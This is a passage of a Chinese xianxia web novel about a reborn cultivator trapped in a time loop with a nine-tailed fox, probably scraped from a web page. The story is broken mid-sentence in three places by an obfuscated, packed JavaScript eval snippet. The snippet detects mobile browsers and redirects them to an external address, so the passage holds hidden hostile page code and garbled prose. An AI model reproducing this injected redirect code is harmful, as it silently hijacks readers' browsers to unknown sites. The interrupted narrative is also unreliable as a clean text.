然而没有一丝变化,他还遭到反噬,吐出一口血。 男人抹去唇角血渍,眼底漫上化不开的墨色。 “陆尽遥,你究竟招惹了什么东西。” 星盘中,合欢宗的方位,那一处正被星云笼罩,越来越模糊。 …… 摘星阁 主殿内安静了会,扑通一声,有什么东西掉落。 殿内地板上落着陆尽遥刚才扯下来的被褥,躺在地上一动不动,像极了当初被晏尘微刀了的她。 脑海中重现少年的身影,笑得单纯无害,看起来柔弱得随便就能被扑倒。 要不是有前世的记忆,她还真就被这只狐狸表面的人畜无害样勾引到,选了他当炉鼎。 陆尽遥抬脚跺在被褥上,骂出声:“死狐狸精。” 她根本没想到就算自己没去亲自抓,他依旧会出现。 前世她费了很大劲才成功捕获,现在就这么轻易地被外猎的弟子抓到? 开玩笑呢,当九尾狐的血脉是纸糊的? 她又跺了几脚,不解气,一把火把被褥烧了。 陆尽遥揉了揉太阳穴,颇为烦躁。 一夜未休息好,正想休息,想到昨晚的循环,这事得查清楚,她可不想莫名其妙又和这只死狐狸精扯上关系。 她离开摘星阁,往戒律堂而去。 戒律堂内,被吵醒的男人穿好衣衫,用清洁术净身,来到主殿,见着陆尽遥,蹙眉道:“稀客,你居然会在这个时候来我戒律堂,有事?” 陆尽遥是想问他昨晚有没有察觉到不对劲的地方,男人摇头,“未曾有异样。” 说着,见她一身戾气,忘忧君不紧不慢坐下,“怎么,昨晚的妖兽不合你胃口?” 陆尽遥不想与他废话,掉头就走。 忘忧君敲了敲桌面,想起昨晚弟子来说悬赏阁那边抓到一只九尾狐,费擎连向他们几位长老汇报都不汇报,直接送到摘星阁,看她这个样子,也不像是采补得很愉快啊。 他意味深长地扫视陆尽遥离开的方向,招来弟子问:“去看看那只九尾狐还在不在摘星阁。” 片刻后弟子回来,禀告道:“陆长老让费执事将那只九尾狐放了。” 忘忧君眉间一挑,察觉到异样。九尾狐这么厉害的妖兽,陆尽遥却说要放了? 她来问昨晚是否有异样,难道是与这只九尾狐有关? 殿内寂静片刻,忘忧君下令道:“去,把那只九尾狐抓回来。” 既然她不要,那就别怪他拿来用。 弟子领命,立刻去办。 尽遥是不知道她的好师弟要抓她抛弃的这只九尾狐,她已经出了合欢宗,往四相星宫而去。 除了监测天象的星宫,该是没有人察觉到昨晚的异样。 她要去问那人,昨晚的循环异象,天象是否有预兆。 她更想知道,自己的重生会不会引起变化,会让一个本不该在这个时候出现的人出现吗? 四相星宫乃修真界五大顶级势力之一,位于镇灵湖中央,看守得很是森严,尤其对于她这种合欢宗修士,只要他们露面,必然被追杀。 原因无他,星宫的弟子太过单纯,好骗的很,被吸取完力量又不敢找人帮忙,只好回星宫里哭鼻子。 陆尽遥年少不懂事的时候就骗过一个,还不是普通的弟子。两年前,她把他吃干抹净之后就抛弃了。 他倒是没像其他星宫弟子那样哭鼻子,只是单方面和她断绝关系,不过嘛她要是想见他,也不是没办法。 青龙星宫内,星盘缓缓转动,星子的光芒投射在银袍男人身上。 察觉到那道熟悉的气息,男人闭上的眼睁开,仰望星盘,群星闪烁,那颗脱轨的星子依旧没有回到原本轨迹的迹象。 他并不想见她,但她传来的讯息紧急,况且星盘的异动他必须要弄清楚,不得不见。 男人身影消失,出现在陆尽遥面前。 他垂眸凝望她,眼神飞速打量她全身上下,淡淡道:“说吧,你来找我,有什么事。” 陆尽遥真看不惯他这装得清冷出尘的样,四相星宫的人要是知道他之前破戒,怕是要惊得几日都睡不着。 “我问你,昨晚你有没有观测到异样?” 沈灵泽抬眸,犀利的眼神扫视她,半晌才说了一个字。 不远处的芦苇丛中,晏青山直勾勾盯着那两道人影,问:“她面前的男人是谁?” “四相星宫星主之一的青龙星主,沈灵泽。” 晏青山看到沈灵泽握住陆尽遥的掌心,舌尖扫过尖牙,想咬点什么东西。 “他们是什么关系?” 晏尘微一顿,语气不太确定:“或许他曾经与我一样,也是她的炉鼎。” 晏青山哦了一声,更加想咬东西,狠狠咬下去一口。 他笑了一下,盯着前方两人交握的手,棕色的瞳孔朝深粉转变。 “还是重来比较好,离这么远,都听不见他们说了什么。” 陆尽遥即将得到结果,眼前场景一变。 她又看到了那面熟悉的墙,而她,站在摘星阁偏殿门前,往前再走一步,就能看到床上的少年。 陆尽遥:“……” 你倒是让我听完沈灵泽要说的话啊! 陆尽遥想刀了这只死狐狸精的心达到极点。 昨晚都熬过去了,什么事都没有发生,为什么又回到昨晚?究竟哪里出现问题了? 非得要她做出与前世一模一样的事,时间才能正常流逝? 刚才只来得及听到沈灵泽说他监测到了异样,随后他要看她的星盘,手递过去,结果就要出来,又回到昨晚。 她冷着脸盯着少年,“晏尘微,我知道是你在搞鬼。” 少年疑惑:“你在喊谁?” 陆尽遥径直走到他面前,“你跟我装死是吧。” 少年眼里没有一丝心虚,“没有啊,我叫晏青山。”尘微是他的字,他这么说,也不算撒谎。 “晏青山?”他什么时候改名叫晏青山了? 先不管这个,她问:“昨晚你在干什么?” 晏青山没有立刻回答,她耐心等了一会,看到他伸手就去脱衣裳,立即用缚灵绳绑住他。 绳索在他身上缠了数圈,轻纱在他身上裹紧,那一片薄纱,什么都遮不住。 陆尽遥又不是没见过他的身体,他身上哪块地方有痣她都知道的一清二楚,即便他现在一副任她宰割的样,她也不会碰他。 “只准动口,不准动手。” 晏青山的声音十分委屈:“我只是想把昨晚受的伤给你看。” 陆尽遥一愣,眼前闪过他肩头殷红的一片,他的肩头被红纱遮盖,看不出有没有伤。 她伸手去拉他肩头衣裳,干净的肌肤上,一道一指长的伤痕从锁骨尾端擦过,刚刚结痂,还能看到里头的肉。 所以他是受伤了,才会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092855|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住? “怎么弄的?” 晏青山望着女子靠近自己的脸,她眼里并没有担心。 “我昨晚出来溜达,被人族修士发现,要抓我,这是被他们伤到的。”末了,他还加了句好疼。 事实上这是他伪造出来的伤。 陆尽遥哦了一声,收回手,很是遗憾,那名修士怎么没把他刀了,不然她就不会被困在这莫名其妙的循环里。 不过这句话也反映出这只死狐狸精没有前世的记忆,也不记得昨晚的一切,所以只有她一个人在循环? 就算他什么都不记得,她也不可能再用他当炉鼎。身上一点力量都没有还能从魔渊里爬出来,万一他想起前世她对他做的事来找她报仇,她又得再死一次。 师尊还在闭关,合欢宗可没人能保护她。 况且心脉堵塞,还无法吸收灵气,体内灵力总有用尽的时候,一旦被仇敌知晓,定然要出事。 当务之急必须修复心脉,突破元婴,这只死狐狸的事先放一边。 “老实待着,不然我挑开你的伤口,让你更疼。”陆尽遥越发地烦躁,坐到椅子上,打算按上次那样熬到天亮,直接去问沈灵泽。 然而有人就是不老实,没过多久哼唧唧,吵得她抬手就往外击了一掌,刹那间剧烈的响声炸开,殿内烛火晃动,桌椅床铺都在抖。 床上纱幔被震散,遮住少年。 “再发出声音,下一次就打在你身上。” 效果立竿见影,声音弱了很多。 隔着纱幔,晏青山只能看到她朦胧的背影。 “她对你也是这样?” “比现在温柔很多。” 晏青山觉得他在故意炫耀。挺起上半身坐在床上,盯着那道背影,又问:“她一直抗拒不碰我,怎么双修?” “那就看你的本事了,身体控制权在你手里,该你想办法。” 晏青山听出他想让自己把身体让给他,他是不可能让出去的。 虽然暂且相信这个突然出现的在身体里的神魂是前世的自己,但他的身体,不可能落到旁人手中,就算是前世的自己,也不行。 “她这么急着去见那什么星主,应该是问昨晚的事,连你都没弄清楚为何会循环,那人能知道?” 晏尘微不确定,世间万物的运转轨迹都可以从星象中观测出来,沈灵泽是四相星宫尊主的大弟子,修为高深,极有可能从星象中观测出蛛丝马迹。 “明天跟上去看看就知道了。” 晏青山躺下来,指尖拉着被褥一角盖住肚子,闭眼睡觉。 还不忘保持微弱的喘息声。 良久过后,陆尽遥睁开眼,往外看,月亮悬挂的位置比一个时辰前低了很多,时间在流逝。 她盯着偏殿门槛,在继续熬与走出去之间来回摇摆。 说不定先前是她见到这只死狐狸精的幻觉,这次一切正常呢? 陆尽遥站起身,往殿门跨了一步。 再跨一步重新看到那面墙时,她决定管好自己的脚,再也不欠了。 她正要搬椅子去门口坐着,听到少年小心翼翼的声音:“你要采补我吗?” 这句话她已经听了无数遍,现在听到这句话,条件反射直接捆住他,说话都不带喘气。 “不许发出呻吟,不许在床上扭来扭去,不许问东问西。” 说完她拎着椅子往门口一甩,坐上去默念清心咒。 一晚上而已,她熬得了! 被打散的纱幔微晃,这次晏青山直接躺下盖住肚子,闭眼睡觉。 他的唇角上扬,对陆尽遥气急败坏的样子感到很开心,他就喜欢看到人吃瘪,生气又拿他没办法。 晏青山又苦恼起来。 她总是拒绝与他双修,他要怎么解除与她绑定的循环呢? 还有身体里莫名其妙多出来的神魂,不除了,他很没有安全感。 5. 第 5 章 天刚亮,陆尽遥睁眼就往外走,她确定这次不会再循环。 原因很简单,前世她第一次采补晏尘微时,第二日天刚亮就去闭关了,如果非要按前世的剧情走,那就得在房间里待上一整晚。 虽然不知为何不采补晏尘微也算过,这事她暂时不想查,先弄清楚沈灵泽要说什么话。 这次她走得急,没有吩咐弟子将晏青山带走。 同样的地点,她望着一身银袍的男人走过来,直接伸手,让他帮自己看看。 “你测完就告诉我结果。” 沈灵泽蹙眉,见她神色焦急,没说什么,握住她的手,指尖溢出一颗很小的银色星子,悬浮在他们交握的手上,又一颗星子落下,一颗接着一颗,在他们交握的手周围盘旋。 一张星盘浮现,看清星轨的瞬间,沈灵泽脱口而出:“果然如此。” 他的语气沉重:“代表你的那颗星子旁,多了一颗不该存在的星子,你身边,是不是出现了之前没有过的东西?” 陆尽遥立即想到那只本不该出现的九尾狐,但没有告诉他,问:“除了这个呢,可还有别的?” 沈灵泽看出她有所隐瞒,知道她的性子,她若不愿,再怎么逼问也问不出来。 他垂下眼睫,收回握住她的手,声音恢复平静:“星轨上代表你的星子偏离了轨道,星宫并无这方面的记载,是以并不知会有什么后果。” 陆尽遥失望,沈灵泽只看出晏青山的存在,并未看出循环。 “没事了,你回去吧。” 沈灵泽问她:“你遇到棘手的事了?” 陆尽遥本来不想回他这句话,想到自己还没找到合适的炉鼎,再一看眼前一脸禁欲样的男人,勾起唇。 这不就有一个现成的。 “对,我现在要进阶,我修炼的功法你是知道的,瓶颈期必须得有人帮忙。” 沈灵泽冷了脸,“抱歉,我帮不了你。” 说完这句,他正准备回星宫,方要掐诀,眼神一变,扫视不远处的芦苇丛。 湖水潺潺,芦苇飘荡,什么都没有。 芦苇之后,晏青山闭气凝息,方才只是离得近了些,险些就被沈灵泽发现。 他没有听全他们说的话,直觉告诉自己,陆尽遥找沈灵泽绝对与自己有关。 见陆尽遥要回去,他弯起眼,妖冶的妖瞳迸发出无法被察觉的力量。 “代表你的那颗星子旁,多了一颗不该存在的星子,你身边,是不是出现了之前没有过的东西?” 陆尽遥:“?” 这话好像听过? 一看到被握住的手,她立刻反应过来。 又循环了! 她又做了什么事又循环了! 陆尽遥飞快道:“对,我现在修炼遇到瓶颈,找你帮忙。” 她本来是不想告诉沈灵泽的,但是现在发现两年不见,这人修为更上一层楼,刚才想让他帮忙被拒绝,现在再试一次。 沈灵泽蹙起眉,立刻松手,“抱歉,我帮不了。” 连回答都一模一样。 沈灵泽说完,身影消失。 晏青山听清楚了这段对话,虽然比之前少了几句,但最为要紧的那句听到了。 “星盘能看到某些东西,所以你觉得他说的那个不应该存在的东西,是我,还是你?” 原本的轨道里,只有一只九尾狐,而现在这只九尾狐的身体里多了一只前世的九尾狐。 究竟是前世的九尾狐才是应该存在在这世间,还是现在的这只九尾狐? 晏青山身体里的人没有回答。 女子身影消失,他也该回合欢宗了。 当他回去时,陆尽遥已经回到合欢宗,晏青山来不及回到偏殿,想了想,再次回到陆尽遥去问沈灵泽的节点。 “代表你的那颗星子旁,多了一颗不该存在的星子,你身边,是不是出现了之前没有过的东西?” 陆尽遥:“……” 为什么又循环! 在芦苇丛里的少年看着女子很明显气急败坏的背影,勾起唇,这次她没有开口要沈灵泽帮忙。 他可比沈灵泽好用多了,不采补他,偏要找沈灵泽。 “你说,她是不是记得些什么,才会一直躲我?” 身体里的人依旧没有回答。 在陆尽遥回去前,晏青山先一步回到偏殿。 陆尽遥回来才发现自己忘了做一件事,她走之前没有喊人把死狐狸精扔了。 一回去就看到床上躺着的少年,心一抽,差点停跳。 她再次叫来费擎,“再违抗我的命令,你给我去戒律堂待着。” 费擎浑身一抖,戒律堂那里待上一天,皮都要掉上好几层。 他不敢问陆尽遥为何不喜这只九尾狐,赶紧把人带走。 晏青山没有反抗,由着他将自己带走。 陆尽遥本来打算直接去主殿休息的,眼一瞥,看到少年光溜溜的脚踝,眉间突突跳。 “穿好了再出去。” 话音刚落,少年被薄褥裹住,紧紧裹了两圈,不该露的全都遮住了。 晏青山抬头去看,已经不见女子的身影。 她是怕他被别人看见身子吗? 晏青山被沈灵泽影响的心情变好,连被费擎扔给几个合欢宗弟子时,费擎说的几句嫌弃他不中用的话都不介意。 弟子们带着他往宗外走。 “陆长老为什么要放走这只九尾狐,多么难得,竟然就这么放走了。” “奖赏泡汤,白忙活一场。” 弟子们说话间,装作不经意间偷看后面慢悠悠跟着的少年,越看,越觊觎他身上的力量。 合欢宗修炼的功法也不是只有双修这一条路,可以直接吸收修士或是妖兽身上的力量,不过效果没有双修那么好。 如果陆长老不要,那他们…… 这样的念头在看到少年单纯的笑后,迅速膨胀。 少年抬头,朝他们露出笑。他仿佛看不出他们眼中的恶意,笑得单纯。 阳光下的少年浑身散发着夺目的光芒,吸引着他们的目光,他们的眼睛像是黏在他身上,身体还在往前走,脑袋却往后转,一直盯着少年。 弟子们停下脚,朝他围过去,伸出手,要吸他的力量。 九尾狐,妖族至高血脉,蕴含强大的力量,只要吸到一点,就足够他们这群连金丹都没到的弟子升阶。 吸一点,就一点,就一点…… 晏青山面上笑容不减,没有察觉到危险,甚至还有闲情与晏尘微对话。 “以我现在的修为,陆尽遥都不可能抓到我,你是怎么被她抓到的?” 晏尘微没有回答。 那些手离他越来越近,他纹丝不动,在这群衣着暴露的合欢宗弟子中,他如同误入狼窝的兔子,被这群饿狼撕碎,吞下。 他垂下眼,眼帘遮住眸中的讥讽。 这群人好恶心。 有一名弟子的手碰到他肩膀,晏青山手腕上的缚灵镯出现裂痕,他勾了手指,刚要动手,一股浩瀚之气冲击过来,将那几个弟子全都掀翻。 弟子们正要发怒,一见到来人,立刻行礼。 “见过裴执事。” 来人正是戒律堂执事裴无礼,忘忧君的下属。 裴无礼一扫裹着薄褥的少年,眼神一闪,问:“你们在做什么?” 弟子立刻回答:“弟子们奉陆长老的命令,将这只九尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092856|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狐送出宗。” “九尾狐?”裴无礼看晏青山的眼神瞬间变得贪婪,“不是献给陆长老了吗?怎么要送出宗?” “弟子们也不知道……” 裴无礼上下打量晏青山,见他面色红润,气血很足,推测没有被陆尽遥碰过,心生一计。 “不用送走了,陆长老不要,我戒律堂要了。” 弟子们面面相觑,“这……” “若是陆长老问起来,你们就说是戒律堂要走的,她若是要责罚你们,一律由戒律堂来承担。” 弟子们只得答应。 裴无礼直接带着晏青山去了戒律堂,亲自送到忘忧君面前。 “堂主,这是昨日外猎的弟子抓回来的九尾狐,陆长老让人把他丢出去。”他贪婪的目光落在少年身上,虽然他很觊觎这只九尾狐,但只能献出来。 主座上的人抬眸望过来,少年身上还裹着摘星阁的被褥,被两道目光打量,面露怯意。 实际上他在问身体里那个人话。 “我觉得你有事瞒着我,你是如何被修为低于自己的陆尽遥抓住的?” 身体里的人没有回答。 “以我现在的修为,足以擒住元婴期的陆尽遥,她是怎么抓住你的?” “是她设下了天罗地网,还是,”晏青山想到自接触到陆尽遥后她所有的反应,问,“你故意被她抓住?” 身体里的人还是没有回答他。 他舔了一下牙,心情很不爽,屡次在陆尽遥那吃瘪,勾引不了她,另外一个自己还不说实话,真的真的很不爽。 很想发泄。 晏青山迎着忘忧君想要将他拆碎的眼神,在心底哼笑,“反正你们双修的次数那么多,错过这一次也没有关系。” 晏尘微终于开口:“你要做什么?” “很快你就知道了。” 忘忧君打量完少年,走到他面前,掐着他的下巴面向自己,没有在他脸上看到采补后的疲倦,确实没有被陆尽遥碰过。 他松了手,下令:“把他洗干净,送到我的寝殿。” 裴无礼立刻领命,带着晏青山去了凝露台。 忘忧君盯着少年离开的身影,叫来弟子:“去摘星阁问问,陆尽遥为何不要这只九尾狐。” 弟子领命去查。 半山腰处,一块石碑在院外而立,上头刻着“凝露台”,这里专门用来安顿被采补的妖兽和修士。 净灵池中,十几处圆形水池已经蓄满水。 里面已经有好几只妖兽,都是新抓过来的,弟子们将特制的缚灵镯戴在妖兽手上,分批押送他们进去清洗。 看到少年被押送过来,目光全都落在他身上。 第二次来到这,晏青山对接下来要面对的事一清二楚。 他在最后一只妖兽身侧站着,身上的薄褥被拿走,里面就一件薄得近乎透明的红纱,本以为会是个瘦弱的,没想到看着瘦,实际上有料得很。 妖兽们频频朝后看,他们的视线与周围弟子们一样,都落在队伍尾端的少年身上。 他似乎对即将面临的事并不害怕,张望着四周,明亮的狐狸眼轻轻一眨,睫羽投下浓密的阴影。 那妖兽见他身上裹着的东西很显然是被褥,再一看他手腕上的缚灵镯,小声问他:“你昨晚,是被当成炉鼎采补了吗?” 晏青山冲他露出八颗牙齿,虎牙尖锐得似乎能把唇戳破。 “你猜。” 他的表情阴森森的,再加上他露出的牙,看起来有点吓人。 妖兽往边上退了退,摇头不敢猜。 晏青山闭上嘴,面无表情地告诉他:“没有。” 狐生第一次引诱人失败,他现在很不开心。 6. 第 6 章 凝露台水池里,只穿着里衣的妖兽浸泡在其中,惊讶地发现这水是温的,还带着灵气,泡进去好不舒服。 弟子们是不敢看他们的,全都在外头守着。 这些都是抓来献给各位长老和执事的妖兽,都得好好照看着,他们万万不能亵渎一丝。 待这些妖兽沐浴完,换上干净的衣裳,再分别送至挑选他们的人那。 几只妖兽商议着要怎么逃出去,却有个少年趴在一边,真的在清洗自己的身体。 与他的镇定闲适相比,他边上的那只兔妖显得很是惊慌。 “你不怕被这些人族修士当成炉鼎吸取力量吗?” “哦。”少年语调没有起伏,在那妖兽的惊愕中开口:“那不正好?” 选是被选中了,只可惜他没得逞。 兔妖惊愕,没想到他正打的这个主意,又离他远了些。 少年晃了晃手,那雕刻花纹的紫色镯子在他腕间晃动,深色手镯衬托得他肤色更是白皙。 另外几只妖兽见他真的在清洗身体,不由得问:“你不会真想当他们的炉鼎吧?” 少年扬起头,脸被水汽熏得透出粉。 妖兽们望着,不由得为他担忧:“你这种的最容易被欺负了,等这群人族把你榨干,你又得修炼好久才能恢复。” 少年哦了一声,似乎不是很在意。 “你不是说她一定会选我为炉鼎?” “这是她的原因,你得问她。” 少年神色恹恹,抬手砸了一下水面。溅出的水花被无形的力量阻拦,落了回去。 每一处水池都有禁制,妖兽妖力被封,突破不了。 他们议论逃跑的声音传到少年耳中,他面无所动, 想到此行来合欢宗的目的,少年抿了唇,身子浸入水中,肌肤上的粉更深,不知是被水熏的,还是想到什么而产生的反应。 一刻钟后,不远处桌面上出现几套衣衫,弟子声音传来:“都把衣服穿上。” 少年破水而出,仰起头,鬓间发丝水珠滴在深凹的锁骨上,池水浮起他身上那唯一一件单薄的衣裳,内里肉色清晰可见。 他站起身,朝桌子走去。 湿水的衣裳紧紧贴在身上,背脊张开,薄衫勾勒流畅的肌肉线条,少年身材恰到好处,既不会觉得过于雄壮,也不会单薄。 离他最近的兔妖看看他背肌,再瞅自己的小肚子,羡慕又嫉妒。 他对面的虎妖看了眼,没好气哼了声,小白脸,身材一点都不魁梧,妖界的耻辱! 离得最近的妖兽跟着走出水池,随手拿了一件,破口大骂:“这是在故意羞辱我们!” 他把那件衣衫打开,转向水池中妖兽,让他们看了个清清楚楚。 说是衣衫,其实与轻纱无异,胸口一大片都是红纱布,什么都遮不住。 合欢宗给的衣裳只有一件外袍。 “把我们抓来,还让我们洗干净,现在还要换上这玩意,这不是羞辱是什么!” 他说得义愤填膺,另外几只妖兽出了水池,跟着骂。 “就知道欺负我们这些妖兽,他们就不抓修士吗?” “抓啊,怎么不抓,不过没那么明目张胆罢了,谁让我们妖兽好欺负呢。” 合欢宗抓了妖兽采补完后,不会杀了妖兽,基本上都是扔出宗门。 至于陆尽遥为什么要把晏尘微扔进魔渊,那只有她自己知道了。 妖兽骂着,忽然看到少年将红纱套在身上,不由得问他:“我看你来的时候也穿了这破布,你昨晚已经经历过那样屈辱的事,现在还穿,你真的要去给人族当炉鼎?” 晏青山动作一顿,扯了扯嘴角。 他昨晚没成功,今天当然要继续。 少年掀起眼帘,没什么情绪地扫他一眼,那妖兽莫名觉得心悸,不敢再问。 在外看守的弟子进来,见他们还不换,出声催促。 妖兽们不情不愿地套上,一个一个地被带走。 “那只九尾狐呢?” 兔妖回头看去,戳了戳少年手肘,“来找你的。” 裴无礼一见到换好衣服的少年,在他回望过来的瞬间,一看到他那张脸,险些失了神,忘记自己来要干什么。 回过神后,越想越觉得自己截胡得很对。陆长老居然不要九尾狐,简直是暴殄天物。 裴无礼朝少年招手,“你,跟我走。” 正要带他去戒律堂,一看到他身上红纱,呵斥道:“谁给他准备的这衣服?” 负责的弟子低着头,小声说:“弟子以为是要送去陆长老那,所以才准备了这件……” “换了。”裴无礼下令,弟子立刻拿来整洁的衣裳让晏青山穿。 其余穿红纱的妖兽瞪着晏青山看,纷纷质问他们:“凭什么给他换衣服,不给我们换!” 裴无礼冲他们冷笑:“你们是要被拿去采补的,可不像这只九尾狐,忘忧君要这只九尾狐,大有用处。” 晏青山换好衣衫,在想要不要再回到之前的节点,趁着陆尽遥让自己走,先离开合欢宗,再找机会接近她。 虽然他是故意被忘忧君的人带走,按照晏尘微所说,只要是她用过的东西,就算是扔了,也不会给别人。 所以只要她知道他在忘忧君那,应该会去把他找回来。 但他没有百分百的把握陆尽遥会这么做,按陆尽遥昨晚的表现,她现在避他如蛇蝎。 这一点很奇怪,她明明心脉受损需要采补他的力量来修补,却屡次要赶他走。 晏青山甚至在她眼里看到对自己的杀意。 难道她和晏尘微一样,记得他们发生过的事? 他的思绪被裴无礼的声音打断,“堂主,人已带到。” 少年抬起头,主座之上,身穿黑衣的男人用他那双鹰眼盯着他,眼神森冷可怖,没有觊觎,只有杀戮之气。 晏青山忽然觉得自己这个决定不太妙,所有人族修士对妖族都只有利用,他落到忘忧君手里,不可能像在陆尽遥那那么轻松。 “前世这个时候你和陆尽遥在做什么?” 晏尘微回答:“她采补我之后,天一亮就去闭关,直至傍晚才出关,继续采补我。” “不出意外,今晚会是新的节点,这一次你必须得有所进展。” 晏青山没应他的话,这种被命令去做事的感觉,很不爽。 他想得出神间,忘忧君命令道:“送去我的寝殿。” 裴无礼这才想起来忘忧君一开始是让自己把这只九尾狐送去他的寝殿,自己竟然忘了这回事。 他赶紧带着少年去。 晏青山能感觉到探寻的目光落在自己身上,他没有回头,直到离开主殿,那道目光才消失不见。 忘忧君依旧望着少年离开的方向,指尖敲击椅子扶手,回想弟子查回来的消息,哼笑一声。 “她是变了性子?居然真的没碰这只九尾狐。” 那就别怪他不客气,拿这只九尾狐开刀。 忘忧君的寝殿比陆尽遥的偏殿暗多了,窗户紧闭,黑幕笼罩,一进去,压抑感迎面扑来。 晏青山站在殿外没有进去,“你之前来过这吗?” “并没有,她将我视作她的所有物,除了摘星阁,哪都不能去。” 晏青山听着这话,总觉得他是在炫耀。 身后传来催促声:“还站在门口做什么?赶紧进去。” 他抬脚跨了进去。 门在身后关上,脚步声响起,裴无礼都不怕他会逃跑,直接走了。 晏青山转身,还没碰到殿门,敏锐地感觉到上面的杀阵,往后退了一步。 杀阵没有被激活,暂时没有引起异动。 他环顾四周,鼻尖轻嗅,淡淡的血腥味从寝殿深处溢出来,混杂着他熟悉的妖血味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092857|195512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “忘忧君是陆尽遥师弟,掌管合欢宗戒律堂,手段残忍,落到他手里的妖兽,都不会有好下场。” 大部分被采补完的妖兽都会被丢出合欢宗,但忘忧君不一样。 他不会采补妖兽,但会剖了妖丹,剥皮抽筋,用妖兽炼制法器。 九尾狐这样厉害的妖兽拿来炼制法器,定然能炼出极品。 晏青山计算着自己能从忘忧君手里安全脱身的可能性,他是不怕闹大,但怕会招来赤阴府那群甩都甩不干净的神阴卫。 “若是陆尽遥没有来,我要一直耗在这?” “就算你离开合欢宗,不与她双修,也依旧会被困在循环中。” 之前已经试得很清楚,晏青山不想听晏尘微的话接近陆尽遥,前几日一直重复同一天的事,直到昨晚与陆尽遥接触到,在她那待了一整夜才暂时解除循环。 “你可以试试今晚若是不与陆尽遥接触,会不会开启新的循环节点。” 晏尘微话音刚落,殿门开了。 一身黑袍的男人走进来,屋外光线从敞开的殿门涌进来,但很快被隔绝在外。 殿门关上,殿内烛火齐齐亮起。 晏青山这个时候才看到,这间寝殿里只有一张床,上头连个被褥都没有,纯木打造。 忘忧君点亮所有烛灯后,才走向他。 “九尾狐这世上可不多见,她居然不要你。” 这话一出,晏青山心口闷着气,他也想知道,陆尽遥为何不采补他。 “她不识货,我跟她可不一样。”忘忧君低头一扫少年手上的缚灵镯,随即一挥手,少年就被缚灵绳紧紧缠住。 虽然受了伤,但九尾狐的威力依旧不可小觑。他的缚灵镯规格比悬赏阁的高,上头还有专门克制妖兽的禁制,用来对付九尾狐,仍旧要万分小心。 “你先进去待一会,我很快就会来帮你解脱。” 咔嚓一声,寝殿那堵墙裂开,里头竟然还有空间。 晏青山蹙了眉,屏住呼吸,往里看。先前闻到的血腥味就是从这里散发出来的。 烛火一簇簇亮起,晏青山看到了这间密室里的景象。 墙壁上镶嵌铁环手铐,上头锈迹斑斑。几张铁床上亦有铁铐,锁链垂到地面,地上摊开一大片的深褐色污渍,不知是血,还是什么别的东西。 床前还有很多器皿刀具,倒是干干净净的。 一看就知道这里曾经被用来做过什么东西。 晏青山后悔了,他应该回到之前的节点重来,然后离开合欢宗再想接近陆尽遥的办法。 他这么想,也就这么做了。 四相星宫外,陆尽遥又一次听到熟悉的声音。 她忍无可忍,这次话都没说一句,直接回了合欢宗,径直往偏殿而去:“晏尘微,你够了——” 偏殿里空荡荡,没有少年的身影。 骂人的话戛然而止,她闭上嘴,哼哼一声。 “算你识相,自己走了。” 她没再管消失的少年,回到主殿,让守门弟子看好了,不管谁来,都赶走。 昨晚折腾了一夜,她现在很疲倦,倒在床上就睡。虽然打坐冥想的效果更好,但她只想回归到原始的方式。 这一觉睡到天黑,没人打扰的感觉非常好,她收拾好自己,打坐冥想,想试试能不能先靠自己的力量修复心脉。 本来还以为会出什么岔子,结果一晚上过去,无事发生。 晚上确实无事发生,事情发生在早上! 天知道她醒来又听到沈灵泽那句话,有多么崩溃。 她咬牙切齿:“晏尘微,你给我等着!” 沈灵泽听到她喊的名字,眼神一暗,似是随口问道:“你在说谁?” “一只想被扒皮的狐狸。”陆尽遥说完,与沈灵泽告别,立刻回合欢宗。 而晏青山早就在在偏殿里等着她。 7. 第 7 章 他昨天试了回妖界,没有被忘忧君抓去,但却陷入循环里。 这次循环不是他主动开启的。 “看来不重现前世你们相处的环节,就会一直被困在循环里。”晏青山坐在床上,勾着自己肩头的衣裳,缓缓道:“你说你今晚又被她采补,那就是说,今晚我必须要和她在一起。” 他皱起眉,好看的狐狸眼露出几分苦恼,“难道我要对她死缠烂打?” “不,你只需按我的办法去做。”晏尘微话音响起的瞬间,陆尽遥进来了。 他仰起脸,冲她露出笑,刚要站起来,就被她冲过来摁着肩膀坐了回去。 陆尽遥抬腿踩在他身侧,逼近他。 她俯下身时掀起的微风带来一缕清香,是她身上独有的味道。 晏青山轻轻嗅了嗅,狐狸眼流露出期待。 她要与他双修了吗? 他捏紧被褥,破天荒紧张起来。第一次双修,没经验。 脑海里划过一声冷嗤,似乎在笑他天真。 晏青山不理他,狐狸尾巴一根根冒出来,故意去蹭陆尽遥,从她脸颊前拂过,尾巴尖卷住她手腕,还大胆地在她腰间缠了一圈。 